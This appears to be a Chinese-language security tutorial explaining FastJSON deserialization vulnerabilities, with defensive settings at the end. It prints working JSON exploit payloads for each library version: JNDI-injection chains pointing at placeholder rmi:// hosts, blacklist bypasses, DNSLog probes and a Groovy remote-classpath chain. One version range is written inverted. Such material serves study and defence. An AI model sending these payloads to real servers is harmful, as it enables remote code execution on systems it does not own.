java安全之fastjson反序列化详解
字数 1886 2025-08-10 12:17:56
FastJSON反序列化漏洞全面解析
1. FastJSON概述
FastJSON是阿里巴巴的开源库,用于处理JSON格式数据的解析和打包,主要功能包括:
toJSONString():序列化,将Java对象转化为JSON格式parseObject():反序列化,将JSON格式转化为对象
核心类说明
JSON:门面类,提供入口DefaultJSONParser:主类ParserConfig:配置相关类JSONLexerBase:字符分析类JavaBeanDeserializer:JavaBean反序列化类
2. FastJSON反序列化原理
FastJSON反序列化漏洞本质是Java反序列化漏洞,其特点:
- 引入AutoType功能
- 反序列化时会读取
@type内容 - 将JSON内容反序列化为Java对象并调用setter方法
- 默认只对public属性进行反序列化(开启SupportNonPublicField可处理private属性)
- 使用自定义序列化机制而非Java原生机制
AutoType功能引入原因
当接口被两个类继承时,没有AutoType功能无法区分原始类。AutoType在序列化时记录原始类型。
3. 漏洞形成原理
攻击条件:
- 找到setter方法存在问题的类
- 构造特殊JSON,使用
@type指定攻击类 - 反序列化时调用危险setter方法
典型利用链分析:com.sun.rowset.JdbcRowSetImpl
Payload示例:
{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://ip:8088/TouchFile",
"autoCommit": true
}
}
攻击流程:
- 调用
setDataSourceName()设置dataSourceName - 调用
setAutoCommit()触发connect()方法 connect()方法中调用lookup(),形成JNDI注入
4. 漏洞检测方法
版本探测:
// 1.2.36 < fastjson <= 1.2.72
String payload = "{{\"@type\":\"java.net.URL\",\"val\":\"http://dnslog.cn\"}:\"summer\"}";
// 全版本支持 fastjson <= 1.2.72
String payload1 = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"dnslog.cn\"}";
String payload2 = "{\"@type\":\"java.net.Inet6Address\",\"val\":\"dnslog.cn\"}";
5. 各版本漏洞及绕过方式
5.1 FastJSON <= 1.2.24
- 无任何限制
- 可直接使用
com.sun.rowset.JdbcRowSetImpl和com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
5.2 1.2.25 <= FastJSON <= 1.2.41
- 新增黑白名单和
autoTypeSupport属性 - 绕过方式:类名以
L开头、以;结尾
{
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "rmi://x.x.x.x:1098/jndi",
"autoCommit": true
}
5.3 FastJSON = 1.2.42
- 黑名单改为hashcode
- 绕过方式:双写
L和;
{
"b": {
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "rmi://xx.x.xx.xx:9999/poc",
"autoCommit": true
}
}
5.4 FastJSON = 1.2.43
- 禁止
L开头 - 绕过方式:使用
[
5.5 1.2.44 <= FastJSON <= 1.2.45
- 修复
[绕过 - 可使用黑名单外的类绕过
5.6 FastJSON <= 1.2.47
- 不开启autoTypeSupport也能RCE
- 利用
java.lang.Class缓存绕过
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://x.x.x.x:1098/jndi",
"autoCommit": true
}
5.7 FastJSON <= 1.2.62
- 黑名单绕过
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "rmi://127.0.0.1:1099/exploit"
}
5.8 FastJSON <= 1.2.66
- 需要
autoTypeSupport=true - 基于黑名单绕过
5.9 1.2.48 <= FastJSON <= 1.2.68 / 1.2.80 <= FastJSON <= 1.2.69
- 两次parse绕过
{
"@type": "java.lang.Exception",
"@type": "org.codehaus.groovy.control.CompilationFailedException",
"unit": {}
}
{
"@type": "org.codehaus.groovy.control.ProcessingUnit",
"@type": "org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config": {
"@type": "org.codehaus.groovy.control.CompilerConfiguration",
"classpathList": "http://127.0.0.1:8080/"
}
}
6. 漏洞总结表
| 版本范围 | 绕过方式 |
|---|---|
| <=1.2.24 | 无限制 |
| 1.2.25-1.2.41 | L开头;结尾 |
| 1.2.42 | 双写L和; |
| 1.2.43 | 使用[ |
| <=1.2.47 | MiscCodec类刷新缓存 |
| 1.2.48 | cache为false |
| 1.2.48-1.2.80 | expectClass绕过 |
| 1.2.48-1.2.68 | AutoCloseable绕过 |
| 1.2.69-1.2.80 | ThrowableDeserializer绕过 |
7. 防御建议
- 升级到最新安全版本
- 关闭autoType功能:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); - 使用安全模式:
ParserConfig.getGlobalInstance().setSafeMode(true); - 严格限制黑白名单
8. 参考资源
- FastJSON官方文档
- 阿里巴巴安全公告
- 各版本漏洞分析报告